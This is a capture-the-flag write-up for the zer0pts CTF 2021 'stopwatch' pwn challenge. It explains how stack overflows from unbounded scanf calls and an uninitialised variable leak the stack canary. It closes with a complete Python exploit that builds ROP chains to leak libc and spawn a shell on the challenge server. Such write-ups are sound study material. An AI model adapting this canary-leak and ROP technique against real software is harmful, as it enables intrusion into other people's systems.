# stopwatch - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `pwn`

## Challenge Overview
An x64 ELF and its source code are provided.
The vulnerability is obviously stack overflow in multiple places:

int ask_again(void) {
  char buf[0x10];
  printf("Play again? (Y/n) ");
  scanf("%s", buf);
  readuntil('\n');
  if (buf[0] == 'n' || buf[0] == 'N')
    return 0;
  else
    return 1;
}
...
void ask_name(void) {
  char _name[0x80];
  printf("What is your name?\n> ");
  scanf("%s", _name);
  strcpy(name, _name);
}

However, SSP is enabled.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   80 Symbols     Yes      0               4       chall

## Solution
We have to leak the stack canary somehow.
Let's focus on the following piece of code.

void ask_time(double *t) {
  printf("Time[sec]: ");
  scanf("%lf", t); // [2]
  readuntil('\n');
}

double play_game(void) {
  struct timeval start, end;
  double delta, goal, diff; // [1]

  ask_time(&goal);
  printf("Stop the timer as close to %lf seconds as possible!\n", goal);

The variable `goal` is not initialized at [1] but the input is given at [2]. However, the program doesn't check the return value of `scanf`. If we feed an invalid input, `scanf` does not update the value of `goal`.
So, if the canary leftover happens to come to the address of `goal`, we can leak the stack canary.
After that is simple: just abuse the stack overflow to get the shell.

# Exploit

from ptrlib import *

libc = ELF("../distfiles/libc.so.6")
elf = ELF("../distfiles/chall")
rop_ret = 0x00400e94
rop_pop_rdi = 0x00400e93

with Socket("pwn.ctf.zer0pts.com", 9002) as sock:
    sock.sendlineafter("> ", "taro")
    sock.sendlineafter("> ", "16")

    # leak canary
    sock.sendlineafter(": ", "+")
    r = sock.recvregex("to (\-*\d+\.\d+) seconds")
    sock.send("\n\n")
    if float(r[0]) == 0.0:
        logger.warn("Bad luck!")
        exit(1)
    canary = u64(p64(float(r[0])))
    logger.info("canary = " + hex(canary))

    # leak libc
    payload = b'A' * 0x18
    payload += p64(canary)
    payload += p64(0xdeadbeef)
    payload += p64(rop_pop_rdi)
    payload += p64(0x601ff0)
    payload += p64(elf.plt("puts"))
    payload += p64(elf.symbol("_start"))
    assert b'\n' not in payload
    assert b' ' not in payload
    sock.sendlineafter("(Y/n) ", payload)
    libc_base = u64(sock.recvline()) - libc.symbol("__libc_start_main")
    logger.info("libc = " + hex(libc_base))

    # get the shell
    payload = b'A' * 0x88
    payload += p64(canary)
    payload += p64(0xdeadbeef)
    payload += p64(rop_ret)
    payload += p64(rop_pop_rdi)
    payload += p64(libc_base + next(libc.find('/bin/sh')))
    payload += p64(libc_base + libc.symbol('system'))
    sock.sendlineafter("> ", payload)

    sock.interactive()